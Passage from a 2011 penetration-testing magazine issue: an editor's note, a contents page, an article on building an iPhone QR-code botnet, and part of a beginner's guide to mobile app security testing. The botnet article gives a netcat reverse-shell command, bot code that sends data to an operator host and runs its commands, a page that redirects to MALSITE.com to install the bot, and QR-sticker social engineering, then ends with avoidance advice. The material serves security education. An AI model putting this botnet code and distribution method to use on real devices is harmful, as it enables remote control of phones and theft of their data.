Editor's note

EDITOR’S NOTE 

Starter Kit 02/2011 (02) 

Mobile Pentesting 

The December issue of Pentest Starterkit magazine is devoted primary 

to mobile Pentesting. First three articles are developing this subject. First 

article written by Nir Waltman is showing how hacker can get to your 

iPhone. Explains what is QR code, where is used, types of QR abuse. 

Author explain how step by step broke to iPhone by QR. Second article – 

by Martyn Ruks touch subject of mobile pentesting. It is focused especially 

on Google Android, Apple iOS, Microsoft Phone 7, RIM Blacberry OS. It 

Specyfi methods of testing this models. Third article by Prof. Steven Furnell 

is discussing about authentication safeguards in mobiles. It presents new 

possibilities and solutions different than PIN code, which seem to not 

protect privacy of your mobile as majority think. 

Second part of this issue is about social fraud. Dinesh Sheety in his article 

is showing social engineering from different side. He describes human 

being reasons to use hackers tools. Second article on this section by 

Garbriel Marcos explain that IT security solutions of company doesn’t 

need big knowledge and money but just awareness of some dangerous. 

Everybody should know simple and obvious things which help to keep 

your computer safe. 

Last part of this issue is about solution which you can use to protect your 

PC. Bart Hooper in his article is introducing one of risk management 

tools – NIST Risk Management Framework. It guide how to build good 

protection system step by step. Start from defineing company goals and 

finishing on creating proper assessment plan. Last article by Thejendra 

introduce basic hacking tools and the most popular goals of attack. 

I hope articles contained on this issue will open for you new point on view 

you something new. 

Enjoy reading! 

Olga Głowala 

& Pentest team 

starterkit 02/2011(2) Page 

3 

http://pentestmag.com

CONTENTS 

Manageing editor: Olga Głowala 

olga.glowala@software.com.pl 

starterkit 02/2011(2) 

TEAM 

Betatesters / Proofreaders: Massimo Buso, Ankit Prateek, 

Chris Cager, Rishi Narang, Johnatan Ringler, Iftach Ian Amit, 

Aby Rao 

Senior Consultant/Publisher: Paweł Marciniak 

CEO: Ewa Dudzic 

ewa.dudzic@software.com.pl 

Art Director: Ireneusz Pogroszewski 

ireneusz.pogroszewski@software.com.pl 

DTP: Ireneusz Pogroszewski 

Production Director: Andrzej Kuca 

andrzej.kuca@software.com.pl 

Marketing Director: Ewa Dudzic 

ewa.dudzic@software.com.pl 

Publisher: Software Media Sp. z o.o. 

ul. Bokserska 1, 02-682 Warszawa 

Phone: +48 22 427 36 56 

www.pentestmag.com 

Whilst every effort has been made to ensure the high quality of 

the magazine, the editors make no warranty, express or implied, 

concerning the results of content usage. 

All trade marks presented in the magazine were used only for 

informative purposes. 

All rights to trade marks presented in the magazine are 

reserved by the companies which own them. 

To create graphs and diagrams we used program 

by 

Mathematical formulas created by Design Science MathType 

DISCLAIMER! 

The techniques described in our articles may only 

be used in private, local networks. The editors 

hold no responsibility for misuse of the presented 

techniques or consequent data loss. 

MOBILE PENTESTING 

06 

QRbot – iPhone QR botnet 

by Nir Valtman 

CONTENTS 

This article is related to both social engineering and 

cyber-crime. Why social engineering? Since QR usage 

is based on interactive actions of mobile users, which 

might lead to threats on their devices, as will be explained 

in detail later.Why cyber-crime? The actions taken 

by criminals not only harm the mobile phone/device 

users, but also may steal sensitive information or aid 

in launching massive actions using controlled, Zombiebased 

networks (Botnets), e.g. DDoS – Distributed Denial 

of Service attacks.In order to explain the whole process, 

this article begins from the basics of QR and iPhone 

Usage. After understanding the basics, we will dive into 

the actions needed to build a QRbot. Finally, avoidance 

recommendations will be explained. 

12 

Mobile Security Testing 

by Martyn Ruks 

It is a beginner’s level article, catering to the needs of 

professionals who which to switch or try hands on the 

Mobile Security Testing. It covers the 3 major platforms 

– Android, Windows and iOS. The text starts with a 

background information on mobiles, tablets and the need 

for their security testing, and finally drills down to „howto” 

do the necessary fundamental steps as heads-up. 

18 

A Mouting a Mobile Masquerade? 

by Prof. Steven Furnell 

This article examines the forms of protection that are 

available to thwart an impostor at the authentication level. 

Although mobile devices have offered authentication 

safeguards for many years, it is fair to say that many 

users have managed to ignore them. The reason here is 

often that they overlook the value and sensitivity of what 

they’re carrying around in data terms, and so similarly 

overlook the need to protect it. While 

the situation has improved with 

smartphones, there are still 

plenty of users whose security 

practices haven’t caught up with 

their technology usage. Indeed, 

if you ask an audience how 

many of them don’t use a 

PIN (or similar) to protect 

their mobile handset, a good 

number of hands normally 

go up. 

Page 4 http://pentestmag.com

SOCIAL FRAUD 

24 

Social Engineering 

by Dinesh Sheety 

The idea of this article is simple and nice, though there are 

plenty of good resources and books on social engineering 

(Mitnick’s Art of Deception!) it’s an „informative” kind 

of article, it lacks real examples, for instance a real 

example of an attack, for example describe how a pt 

on an organization has been done (without disclosing 

sensitive Information). Author has provided a good solid 

base for someone who doesnt have any clue about social 

engineering and by the end of the article they will have a 

decent amount of knowledge to go out and build upon. 

30 

When Computer Attacks 

by Gabriel Marcos 

There is a new type of cyber threat that is catching 

more victims every day; many people know it is called 

Advanced Persistent Threats, and there is a trace of high 

profile victims out there to give us enough. But before 

taking any action we have to bring awareness to what this 

new kind of threat means: the only way to be protected 

is understanding what this means for the organizations 

and how it could impact their business. Undoubtedly 

exceptional circumstances call for exceptional actions. 

So, maybe it is time to acknowledge that computer 

attacks do not always happen to others; we need to 

become aware and to be prepared in advance to minimize 

risk exposure at this kind of attacks, protecting both our 

organizations and their leaders. 

SOLUTIONS 

36 

An Introduction to the NIST Risk 

Management Framework 

by Bart Hopper 

This article will introduce the NIST Risk Management 

Framework. It will cover the steps of system 

categorization, the selection of security controls, the 

implementation of the selected controls, the assessment 

of control implementation, and the system authorization 

process. Creating an effective information security 

program can be a daunting task. If you are lucky, you 

work for a company with an existing security program, 

clearly defined security mandates, and support from 

senior management. But, what do you do if you are 

given the task of creating a security program for your 

organization? This article will guide you through the 

process of creating an effective security program using 

the NIST risk management framework. Even if you are not 

directly responsible for creating a security program, you 


CONTENTS 

may find it helpful to understand how security programs 

are created and why certain items are prioritized by 

auditors. 

40 

Why is Cyber Security Important? 

by Thejendra 

Until a decade ago if you had to rob a bank it was 

necessary to indulge in an armed invasion, take hostages, 

spill blood, use getaway cars, etc., along with all the 

associated risks of botching up the operation. Or you had 

to indulge in excellent forgery and duplicate paperwork to 

siphon off funds. But today it is not necessary for you to 

even visit a bank to loot it without raising any alarms for 

weeks. So how is it now easy for criminals to loot a bank? 

The simple answer is the Internet. Today, many aspects 

of our life like banking, purchases, communications, 

etc., and even the militaries depend on the internet and 

worldwide connectivity. While the internet offers several 

conveniences, it can also ruin your life in an instant 

with threats like identity thefts, online scams and other 

threats. 


QRbot 

This article is related to both social engineering 

and cyber-crime. Why social engineering? 

Since QR usage is based on interactive actions 

of mobile users, which might lead to threats on their 

devices, as will be explained in detail later. 

Why cyber-crime? The actions taken by criminals not 

only harm the mobile phone/device users, but also may 

steal sensitive information or aid in launching massive 

actions using controlled, Zombie-based networks 

(Botnets), e.g. DDoS – Distributed Denial of Service 

attacks. 

In order to explain the whole process, this article 

begins from the basics of QR and iPhone Usage. 

After understanding the basics, we will dive into the 

actions needed to build a QRbot. Finally, avoidance 

recommendations will be explained. 

What is QR? 

A QR (Quick Response) code is a type of matrix 

barcode that was developed in order to automate the 

industry. The code consists of black modules arranged 

in a square pattern on a white background, e.g. the QR 

code in Figure 1 is decoded to the phrase Do you think 

that information security is expansive? Try to ignore it! 

There are similarities to the QR, such as EZcode, QM, 

but the QR is the most common. 

The QR is used in various places and media types: 

newspapers, TV, business cards, books, Google 



– iPhone QR botnet 

Every time that new technology is revealed, lots of security 

researchers seek for vulnerabilities in it. In my case, I am looking 

for security holes in the integration between QR readers and smart 

phones, especially on iPhone. 

favorite places i.e. to see review on a restaurant before 

entering, Google chrome add-on, museums, house 

selling advertisements, on CDs to watch a clip of the 

band, troubleshooting on electronic devices, restaurant 

menus etc. 

In order to read the QR code, the mobile device (not 

only smart phones) should include a specialized code 

reading and decoding software. The mobile device can 

translate it differently to actions, e.g. open URL, send 

SMS, make calls, add contacts, show text etc. 

However, there are QR codes that cannot be read by 

mobile devices because they are encrypted. A matching 

decryption key is required to view the content. 

QR abuse 

The main problem of the QR is that the human eye 

cannot decode the message. This makes the following 

social attacks possible: 

Figure 1. Demo text 


QRjacking 

A malicious sticker can be pasted over the original 

sticker, e.g. on public advertisement in the street or 

other public spaces, simply replaced where possible 

– websites, brochures etc. 

Scanjacking 

The scanned barcode would redirect to malicious web 

site or run any malicious code. Hence, various attacks 

can be executed, e.g. phishing, man-in-the-browser 

(form of man-in-the-middle attack), SMS abuse (social 

engineering is required) etc. 

IPhone users and application permissions 

IPhone devices can be divided into two main categories 

– legal (factory default configuration) and jailbroken 

(running a hacked, modified operating system version). 

On one hand, legal iPhone devices can execute only 

Apple-approved applications, which may lower the total 

risk of getting malicious software on the device. On the 

other hand, the jailbroken devices are more vulnerable 

to malicious applications since these devices allow 

installation of applications which had not been checked 

and verified by Apple. 

There are several options to install applications on 

iPhones: App Store, iTunes, iPhone configuration 

utility and over-the-air (from a web server). Of course, 

Cidya and Installous are also available on jailbroken 

devices. 

One thing is certain about both the legal and most of 

the jailborken devices – they have a default password 

for the root user; by default it’s alpine (without the 

quotes, of course). 

Why is this interesting? By default, applications 

don’t have root access to the iPhones but instead are 

provided with a limited access by the user mobile (for 

which the default password is dottie). In order to get root 

privilege access, we need to do some coding as will be 

explained later in this article. 


QR botnet 

After understanding QR threats and iPhone limitations, I 

can explain the idea behind the title of this article. 

In order to build a botnet we need to combine 

the threats of the QR code readers with the iPhone 

limitations. 

The main idea of this attack is to install a malicious 

application from a web server directly on the iPhone. It 

almost does not matter whether the iPhone is legal or 

jailbroken with default root password. 

Step 1: Locate vulnerable QR reader 

Since we would like to install an application from a web 

site, the QR reader should have automatic redirection to 

URL. I have been testing the following 10 applications 

on my iPhone with iOS 5: QRReader, RedLaser, 

QR+, ShopSavvy, Scan, ConnectMe, HP CodeScan, 

ATTScanner, ScanLife and i-Nigma. To make it close 

to the reality, I searched the word QR in App Store and 

downloaded the first 10. 

I generated a QR code for a website and scanned 

the code in each application. The following applications 

have automatic redirection: QRReader, ShopSavvy, 

Scan, HP CodeScan, ScanLife and i-Nigma. Summary: 

6 of 10 were vulnerable to automatic redirection, e.g. i- 

Nigma opens Safari automatically and redirects to the 

requested page, see screenshot in Figure 2. 

What should appear when automatic redirection is 

disabled? See screenshot of RedLaser’s question in 

Figure 3. 

Figure 2. Automatic redirection in Safari Figure 3. Popup on non-redirecting QR reader 


Step 2: Run botnet operator 

The concept of this botnet is based on a client-server 

application. The server runs Netcat (built-in program on 

Linux and Mac), which listens to incoming connections. 

The following command should be running on the 

server: 

nc -k -l 3333 

Explanation: Netcat is listening on port 3333 and waiting 

for another connection after its current connection is 

completed. 

Step 3a: Build bot 

The development of iPhone applications is performed 

on Xcode (I use version 4.2 on Lion), which can be 

downloaded and installed for free from Apple’s web site. 

In addition, in order to be able to sign the application, a 

developer account is needed – it costs some money. 

There are ways to bypass signing, but I rather not to 

discuss them in this article. 

Our bot is based on reverse backdoor shell attack, 

which is implemented by using netcat. A reverse 

backdoor shell is a scenario when a remote device (i.e. 

iPhone) connects to server (i.e. botnet operator) and 

then executes local system commands on the device. 

In order to execute the attack, the following command 

should be run: nc [operator’s_ip] 3333 -e /bin/bash. 

However, by default Mac devices don’t support the -e or 

-c operators. I was testing various versions of “netcat” 

and tried to compile it for different operating systems, 

none of them worked in execution mode. Some of you 

might think that Mac OS/iOS is only a permutation 

of FreeBSD, however the bottom line is that it won’t 

work for me. I decided to build my execution mode, 

which is based on system calls. See the code below 

to understand the concept (not the complete source 

code): 

system(„echo ‘Started QRbot on iPhone by NirV ‘ > ~/result”); 

while (1) { 

} 

system(„cat ~/result | nc [operator_ip] 3333”); 

system(„nc [operator_ip] 3333 | head -n 1 | awk 


‘{system($0)}’ > ~/result”); 

Note: not all system calls are supported on legal 

devices, therefore the developer of the bot should 

consider to implement system commands in Objective 

C, e.g. connect to the bot operator by using socket and 

listen to commands. 

Description: The 1st system call writes a banner to 

a file. The banner can include a general message or 


include some details about the iPhone, e.g. IP (usually 

behind a NAT), system version etc. The next commands 

run in endless loop (while true): cat is a command to 

print the content of a file; in this case, cat prints the 

content of the banner or any content in the ~/result 

file. The 2nd system command is combined of printing 

the content as explained and passing it as input to the 

netcat application, which sends the message to the bot 

operator. Since the operator should have control, the 

3rd command opens a netcat and stores the output of 

the 1st row (the command from the operator), and then 

the command is passed as STDIN to the awk command, 

which runs the command on the operating system. 

Note: even if awk is not installed on the iPhone, the 

output can be written to bash file and then executed. 

The 2nd command above is now executed to print the 

output of the system to the botnet operator. 

What are the limitations in the code above? My test is 

based generally on iPhone emulator, however the code 

might be changed since applications on legal iPhone 

run in a sandbox with limited permissions. On physical 

iPhone the bot is running under mobile user (not a root), 

which means that its current functionality can produce 

only DDoS attacks. The good thing about this is that it 

does not matter if the iPhone is jailbroken or not. 

If we had a root access, what could the QRbot do? 

Collect personal data e.g. contact lists, emails, last 

visited GPS locations, run as a malware even after 

uninstalling the application by adding tasks to the 

“crontab” (scheduled tasks), steal cache and generally 

backup the iPhone. Is it hard to get root access? The 

‘sudo’ command is not implemented by default on iOS, 

but the ‘su’ command does. The limitation of ‘su’ is that by 

running the command, a different shell is started, which 

means that in this case, running the command as script 

or as system command is almost impossible. In order 

to get root in easier way, the password should remain 

alpine and one of the following should be installed on 

the iPhone device: OpenSSH or sudo. Important to 

mention, most of the jailbroken iPhones have at least 

one of them or these can be installed as part of QRbot. 

In this case, the attack vector is larger since there are 

fewer actions that should be accomplished in order to 

get a root access. To make a long story short, if sudo 

is installed then the commands above can run with the 

following command: 

echo ‘[password]’ | sudo -S [command] 

If OpenSSH is installed, then reverse ssh tunnel is 

probably a good solution – Google it. 

In conclusion, the functionality of the QR botnet 

depends whether the iPhone is legal or jailbroken, and 


Figure 4. Botnet operator screen on application load 

if it is jailbroken, the installed applications should be 

abused. 

Step 3b: Verify bot operation 

After coding the logic into the application, some 

testing should be done in order to verify that the bot 

is operating as we expected. In order to do the tests, 

run the server as explained in step 2 and run the 

application using Xcode. It is recommended to run 

first on iPhone Simulator. The first state of the botnet 

operator should not contain any content, however 

after running the application, the terminal of the botnet 

operator should be as Figure 4, which means that the 

iPhone is connected. 

Since the iPhone is connected and waiting for 

commands, the botnet operator should write an iOS 

system call, e.g. ping –c 4 www.google.com, where the –c 4 

means that only four requests are sent. A malicious bot 

should be running endless loop. The results should be 

similar to the screenshot in Figure 5. 

The next step is to build an IPA file and test it on 

the iPhone. If you have a developer account, then 

you should know how to do this. If you don’t have a 

developer account, please Google it. Note that some 

of the commands that illustrated earlier might not work 

on the real iPhone, therefore you need to code the 

features, e.g. file system access, socket etc. 

Step 4: Publish QRbot on the web 

By this step we found a vulnerable QR reader and 

created a bot and botnet operator. In order to install the 

bot, we need to use a legitimate distribution method. In 

Figure 5. Control botnet remotely 


this case, we post the bot on an Internet published IIS 

web server, this installation type also known as overthe-air 

(OTA) installation. Additional requirements: 

static IP address and a DNS name (more reliable), an 

XML manifest file (view configuration tasks on Apple’s 

web site) and a developer account as single person 

or enterprise. The difference between single person to 

enterprise is the amount of bots per server, meaning 

that the enterprise account supplies unlimited number 

of endpoints (iPhone\iPdad). Since the deployment 

method is explained in details on iOS Developer Library 

(Apple’s web site), the explanation of this step includes 

only the important details to make the distribution 

work as part of the cyber attack. To accomplish the 

attack, create the following HTML page and name it 

default.html: Listing 1. 

Another option is to run the script in a hidden IFRAME 

or on a blog, as there are many blogging platforms 

available on the internet, most of which support and 

provide easy means to set a blog up and running in a 

matter of minutes. 

Note that the installation is based on ITMS (aka iTunes 

Music Store) protocol. Safari will use the link above in 

order to install the application. Important to mention is 

that the installation requires user’s approval, which will 

be discussed in the next step. 

Step 5: QRjacking & Scanjacking 

As explained before, social engineering is required in 

order to implement the attack. The first action should 

be QRjacking, which means that malicious QR should 

be replaced with the legal QR. However, it might be 

Listing 1. QRjacking 

 

 

 

QRbot 

 

 

 

//Replace MALSITE.com with 

your site 

window.location="itmsservices://?action=downloadmanifest&url=http: 

//MALSITE.com/manifest.plist"; 

 

 


Figure 6. Citadel consulting web site 

more comfortable to go further and publish a cool 

advertisement on TV. In order to QRjack, generate a 

QR code (I use http://qrcode.kaywa.com/) and then 

print it, for instance, the QR code in fig6 generates a 

link to http://en.citadel.co.il/. 

In reality, the link above should be redirected to 

the html page from step 4. By entering the page, an 

installation screen should appear, as illustrated in 

Figure 7. 

So the real question is how to trick people to use this 

code? The answer is in the question, they already did. 

People who scan the QR code are sure that the content 

is authentic, or at least do not suspect it as malicious. 

Avoidance 

As I explained in the beginning of the article, the QRbot 

attack is based on both social engineering and cybercrime 

techniques. The actions that should be taken in 

order to avoid this kind attack are as follows: 

Figure 7. Installation conrmation 



No automatic redirection 

There are applications that do not redirect to web pages 

automatically. I recommend testing each QR reader that 

is downloaded to your iPhone. In order to perform the 

test you may use the QR code from this article (which 

may be QRjacked) or by generating a QR code to a 

URL. 

Decode QR 

There are many QR decoders; I use http://zxing.org/w/ 

decode.jspx to validate the data of the code. If you don’t 

know the web site to which you are being referred to, it 

is recommended to avoid scanning the QR code from 

the iPhone. 

Control over-the-air (OTA) installation 

OTA installation should be used when a specific 

organization sends a link for installation. If the purpose 

of a QR code is software installation, Apple’s App Store 

should do it, unless it is discussed in advance with the 

publishing company. 

Conclusion 

QRbot is a concept of malicious software distribution 

and usage as botnet. In this article we have seen 

that combining social engineering with cyber-crime 

might lead to DDoS attacks and confidential personal 

information leakage. The QR botnet is only a PoC, 

however it might be used since the implementation of 

the attacks above is possible in short time. In order to 

avoid the attacks, users should be more aware to the 

risks and solutions for using secure QR readers and 

verify applications’ installation sources. 

NIR VALTMAN 

Nir Valtman is employed in Citadel Consulting 

LTD (http://en.citadel.co.il) as Chief Security 

Architect. Before this position he was 

working as senior technology consultant, 

Application security consultant, system 

security consultant and a technological 

trainer. As part of his positions, he was not only consulting, 

but also performed hands-on activities in various elds, e.g. 

hardening, penetration testing and development for personal\ 

internal applications. Nir has a BSc in computer science 

but his knowledge is based mainly on cowboy learning and 

information sharing with the techno-oriented communities. 

As part of Nirs’ position, he is responsible to investigate new 

technologies, delivery of high-level technologic surveys and 

business development in the company. Visit his blog: http:// 

valtman-nir.blogspot.com or contact him: nirv@citadel.co.il. 


Figure 6. Citadel consulting web site 

more comfortable to go further and publish a cool 

advertisement on TV. In order to QRjack, generate a 

QR code (I use http://qrcode.kaywa.com/) and then 

print it, for instance, the QR code in fig6 generates a 

link to http://en.citadel.co.il/. 

In reality, the link above should be redirected to 

the html page from step 4. By entering the page, an 

installation screen should appear, as illustrated in 

Figure 7. 

So the real question is how to trick people to use this 

code? The answer is in the question, they already did. 

People who scan the QR code are sure that the content 

is authentic, or at least do not suspect it as malicious. 

Avoidance 

As I explained in the beginning of the article, the QRbot 

attack is based on both social engineering and cybercrime 

techniques. The actions that should be taken in 

order to avoid this kind attack are as follows: 

Figure 7. Installation conrmation 



No automatic redirection 

There are applications that do not redirect to web pages 

automatically. I recommend testing each QR reader that 

is downloaded to your iPhone. In order to perform the 

test you may use the QR code from this article (which 

may be QRjacked) or by generating a QR code to a 

URL. 

Decode QR 

There are many QR decoders; I use http://zxing.org/w/ 

decode.jspx to validate the data of the code. If you don’t 

know the web site to which you are being referred to, it 

is recommended to avoid scanning the QR code from 

the iPhone. 

Control over-the-air (OTA) installation 

OTA installation should be used when a specific 

organization sends a link for installation. If the purpose 

of a QR code is software installation, Apple’s App Store 

should do it, unless it is discussed in advance with the 

publishing company. 

Conclusion 

QRbot is a concept of malicious software distribution 

and usage as botnet. In this article we have seen 

that combining social engineering with cyber-crime 

might lead to DDoS attacks and confidential personal 

information leakage. The QR botnet is only a PoC, 

however it might be used since the implementation of 

the attacks above is possible in short time. In order to 

avoid the attacks, users should be more aware to the 

risks and solutions for using secure QR readers and 

verify applications’ installation sources. 

NIR VALTMAN 

Nir Valtman is employed in Citadel Consulting 

LTD (http://en.citadel.co.il) as Chief Security 

Architect. Before this position he was 

working as senior technology consultant, 

Application security consultant, system 

security consultant and a technological 

trainer. As part of his positions, he was not only consulting, 

but also performed hands-on activities in various elds, e.g. 

hardening, penetration testing and development for personal\ 

internal applications. Nir has a BSc in computer science 

but his knowledge is based mainly on cowboy learning and 

information sharing with the techno-oriented communities. 

As part of Nirs’ position, he is responsible to investigate new 

technologies, delivery of high-level technologic surveys and 

business development in the company. Visit his blog: http:// 

valtman-nir.blogspot.com or contact him: nirv@citadel.co.il. 


Mobile Security 

Testing 

With a new generation of mobile App developers, 

who have yet to be trained about secure coding 

practices on the new platforms, has come a 

wealth of vulnerabilities just waiting to be identified and 

exploited. The smartphone revolution hasn’t just caught 

businesses off guard it has also exposed security testers 

who are often left without the knowledge or toolkits to 

be able to provide assurances about the security of the 

mobile platforms and applications they are testing. If you 

want to know more about how you can become part of 

the smartphone security testing revolution then read on! 

Introduction 

Before we get stuck into discussing how to go about 

security testing mobile platforms its worth just looking 

at which ones you are likely to encounter if being asked 

to perform testing either for a client or for your own 

enjoyment. The major platforms are currently: 

• Google Android – This recently became the market 

leading mobile platform and is very popular with 

end users who run it on both phones and tablets. 

Android is an open source platform built on Linux 

that is used on cheaper lower end devices but can 

also be very easy to test for security vulnerabilities. 

• Apple iOS – The original smartphone platform that 

arguably started this whole revolution and the one time 

market leader. iOS is a Unix like platform that is derived 



New technology brings with it new opportunities, for developers 

and for security consultants and penetration testers. Usually we 

find that new technology brings new opportunities to introduce 

vulnerabilities and with the mobile revolution we certainly aren’t 

short of them. 

from Mac OS X and is designed to run on Apple’s own 

phones and tablets and there are several challenges 

associated with finding security vulnerabilities. 

• Microsoft Phone 7 – The new kid on the block as 

far as the major mobile platforms are concerned 

and Microsoft’s partnership with Nokia is certain 

to help its place in the market. Phone 7 is based 

on the Windows CE family although it is a closed 

platform with little information available about its 

security model. 

• RIM Blackberry OS – The current favourite of 

the corporate environment is the now ubiquitous 

Blackberry. Older devices run a proprietary 

Blackberry OS but newer incarnations including 

the Playbook tablet now runs on top of a modified 

version of the QNX operating system which provides 

more opportunity for interrogation of its security. 

There are a number of other smartphone platforms 

that you may encounter including Nokia’s Symbian 

and Palm’s WebOS which are now most likely confined 

to the annals of history. In this article we will focus 

on three of the platforms mentioned above with the 

majority of focus on the two market leaders. 

The Need for Testing 

Before we get stuck into the mechanics of testing 

mobile platforms for security vulnerabilities it is worth 


understanding why testing mobile applications and the 

platforms they sit on is important. Whereas in the past 

our phones were largely a static mass of code that let 

us make phone calls and send SMS messages they 

are now multifunction devices that run a dynamic set 

of applications with a complex ecosystem surrounding 

them. Whether you are interested in the security of an 

entire handset or tablet or just a single application there 

is now an extensive attack surface to consider. 

The implication of all this is that whether you are using a 

phone within a business or are releasing an App for your 

userbase you need to understand the risks that exist. Even 

if you are simply releasing an App to the public there are 

lots of risks that you need to consider, does the application 

expose your user’s information either to another App on 

the device or whilst in transit across a network? Does 

the application make the user’s entire phone more 

vulnerable to attack, thereby putting all their data at risk 

of compromise? If you need to find an answer to those 

questions you need to understand the security model of 

the platform in question and you need to perform some 

level of security testing or similar assurance activities. 

The Prerequisites for Testing 

If you are going to look at any mobile platform, just as with 

any other area of security testing or research, you need to 

have an environment you can use to for your testing. There 

are effectively four things you will need for any platform 

although the ability to obtain all of these and the cost 

overhead associated with them will vary across platforms: 

Phone or tablet hardware 

There is nothing like the real deal with hardware to test 

out your findings on and to understand how the platform 

works in the real world. Whilst on some platforms you 

can get away with just using the emulator provided by the 

vendor you will find these often have less attack surface 

than the real device. Also, If your objective is to go out 

and find real world vulnerabilities before anyone else 

don’t underestimate the benefit of looking at code written 

by the OEMs before they ship their own hardware as this 

will be a rich source of bugs just waiting to be found. 

Development Environment and Compiler 

If you want to find and exploit vulnerabilities on the 

platforms it certainly pays to have a development 

environment and compiler available to you. One of the 

most common methods for exploiting vulnerabilities in 

mobile Apps is to write your own malicious App that can 

attack from the inside and to do that you w ill need to 

either write or modify some code. On some platforms 

you will not be able to side load your apps without 

a special developer unlocked device or publishing 


through the platform’s application store but on many 

you will be able to write and run your own code. 

Emulator and Debugger 

Even if you have your own shiny hardware to play with 

you will find an emulator and debugging tools invaluable in 

your efforts to find and exploit security bugs. An emulator 

will give you freedom to experiment and debug to your 

heart’s content and in many cases will even let you test 

shellcode you can port directly to your hardware. 

Scripting language or interface 

In any form of security testing you will need your 

favourite scripting language close at hand. Whether it 

s for some adhoc fuzzing, sending some data over the 

network or delivering a payload for that remote code 

execution vulnerability you just found you can be sure 

that a scripting language will be your friend. 

Testing Mobile Platforms 

Whilst mobile platforms all have their own eccentricities 

and differences from those which they evolved from, if 

you are going to understand a mobile security model 

of the platform you should know about the Operating 

System you are interested in. It’s not within the scope 

of this article to talk extensively about security testing 

against Linux, Windows CE or any of the other platforms 

that are the foundation of today’s mobile platforms. If 

you are going to be performing a mobile security test 

the area you will probably need most support with is in 

assessing the applications that run on top of the OS and 

most importantly how significant any vulnerabilities you 

find actually are. So my message is don’t overlook the 

security of the mobile platform itself but there are plenty 

of resources out there already and certainly don’t leave 

your standard tools behind if looking at this! 

One other thing to consider is the way the platform will 

be used in the environment it is destined for. You may 

be focussing on the OS and the Apps that run on top of it 

but there are much wider considerations. For example, 

is a corporate policy being enforced, is corporate and 

user data segregated, can data be pushed into a cloud 

based service and how are backups and other important 

admin tasks handled. Make sure you don’t forget about 

these when assessing any mobile platform or solution. 

With the platform covered off lets now get stuck into 

testing the mobile Apps themselves. 

Google Android Testing 

If you are looking for vulnerabilities in applications on 

any of the major mobile platforms it could be argued that 

Android is one of the easiest to find them in, if you know 

what to look for! The reason why is explained here: 


• Android SDK – Testing code on the Android emulator 

is very close to running code on the device itself and 

is very useful when hunting for bugs or trying out our 

exploits. The freely available SDK will provide you 

with everything you need to start looking at Android 

App security. 

• Android Packages – It is very easy to start examining 

an application for vulnerabilities, just grab the 

package file and off you go; lots of information will 

drop straight out at you without much investment of 

time or resources. 

• Developer Documentation – The current developer 

guides for the platform either do not contain or do 

not make clear enough the security considerations 

for developing on the platform. The result is a wealth 

of applications with vulnerabilities just waiting to be 

discovered. 

So just how would you perform a security test of an 

Android application then? To help you understand 

the platform I’ll give you a very quick introduction to 

it. Android is based on the Linux Operating System 

and uses its user privilege model to enforce a 

sandbox between different applications. To enable 

communication between these sandboxed applications 

there is a kernel function called the Binder that enables 

communication between an application and Inter 

Process Communication (IPC) endpoints that are 

exported by each App developer. Any code exported 

through IPC will always execute under the privileges of 

the App that exposes it not the App that calls it! 

Step 1 – Obtain the Android package that 

contains your application 

You will either have been provided with the package by 

the company you are performing a test for or you can 

always download and install it from the Marketplace. 

If the application is installed from the market place, 

you will be able to retrieve the application package file 

(APK) from the device using standard android SDK 

tools. If downloading and installing be sure to look at 

the permissions it requests as this will be crucial to 

understanding its attack surface (you can then check 

these in the AndroidManifest.xml file which we’ll discuss 

later). For example, if the App requests the Internet 

privilege you know it’s likely to talk across the network! 

Step 2 – Unpack and grab the Android 

Manifest file 

Once you have grabbed the package file you can unpack 

its contents using your favourite unzip tool. Inside you 

will likely find the compiled Java byte code for the 

application, any native libraries and most importantly the 



AndroidManifest.xml file. It’s the manifest file that tells the 

package manager which permissions the application will 

need and also tells the Binder which IPC endpoints are 

going to be accessible and to whom. If you are lucky you 

may find vulnerabilities just by looking in this file! Keep an 

eye out for the debuggable and sharedUid attributes as 

these may indicate the first weaknesses. 

Step 3 – Examine the classes and any native 

code you have 

At this point it’s worth having a quick look through the 

other files you have in your package, these will include 

Java classes. Once you have converted the classes.dex 

file to standard java classes using a tool such as dex2jar, 

you can use your favourite Java decompiler to look 

inside. If you discover native C libraries, you may want to 

open them in your favourite disassembler, IDA Pro is the 

favourite for most of us, but be warned you will need the 

Advanced version if you want it to automatically handle 

the ARM processor it is most likely to be compiled for. 

At this point you may have already identified hard coded 

usernames, passwords or other security tokens embedded 

within the source or in your disassembled code. You will 

probably want to keep anything you discover in mind for 

the subsequent stages of the testing. 

Step 4 – Identify and test all exposed 

endpoints 

To protect an application from malicious Apps on the 

device it is important that the local attack surface is 

accurately enumerated. On the Android platform there 

are primarily four types of interface that will be exposed 

through the Android specific IPC interface and these are: 

• Services – These are similar to the concept of a 

service on other platforms and technologies, they 

are the workhorses of Apps and operate behind the 

scenes often never being directly visible to a user. 

• Activities – These are the visual parts of the App 

that a user will interact with, typically these will 

include menus and other controls for entering data 

or pressing on-screen buttons. 

• Broadcast Receivers – These are endpoints that 

other applications on the device can send data to, 

for example to tell the App user that a new SMS 

has arrived or that someone is calling the phone. 

• Content Providers – These are best viewed as data 

stores that can hold information used by the App 

and which store data in local SQL databases (yes, 

make sure you keep injection attacks in mind). 

With the exception of dynamically registered broadcast 

receivers, all of these endpoints will be defined in the 


AndroidManifest.xml file. This central App configuration 

file will also allow you to trace back the 

endpoints to the implementing java classes. 

In the next step you need to find out which of these 

endpoints are exported and thus accessible by other 

applications on the device. Content providers are the 

only endpoints that are exported by default, unless 

specified otherwise using the exported attribute. For all 

other the default behaviour is not to be exported unless 

explicitly exported using the exported attribute. Watch 

out for any intent-filters that may be assigned to these 

endpoints, once an intent-filter is defined, this will export 

the endpoint implicitly unless the exported attributes 

says otherwise. 

You should now be able to write some code that 

communicates with the exported IPC endpoints. This is 

where you will need to compile your own App and deploy 

it within the emulator or your own device to see how the 

endpoints respond when called. As far as vulnerability 

hunting goes you should be looking at all the classes of 

bug with have seen over the years. In other technologies 

we have largely seen the back of bugs such as directory 

traversal with ../../ and unexpected termination of 

strings with null bytes \x00 but it seems that these have 

also crept back into Android Apps. 

Another area that is ripe for security vulnerabilities is 

the content providers, do you remember that I mentioned 

they are storing data in SQL databases and that injection 

attacks should be considered. Unlike the majority of 

databases that are run on servers and desktops the 

mobile versions typically have interesting functionality 

such as file and system operations removed. Therefore, 

SQL injection typically only becomes an issue if there is 

data within the content provider that the methods are not 

providing access to. Using variations on SQL injection 

techniques discussed over the years it is often possible 

to read or write data in places you weren’t intended to by 

the developers. Content providers are also often used 

to allow other applications to access files that belong to 

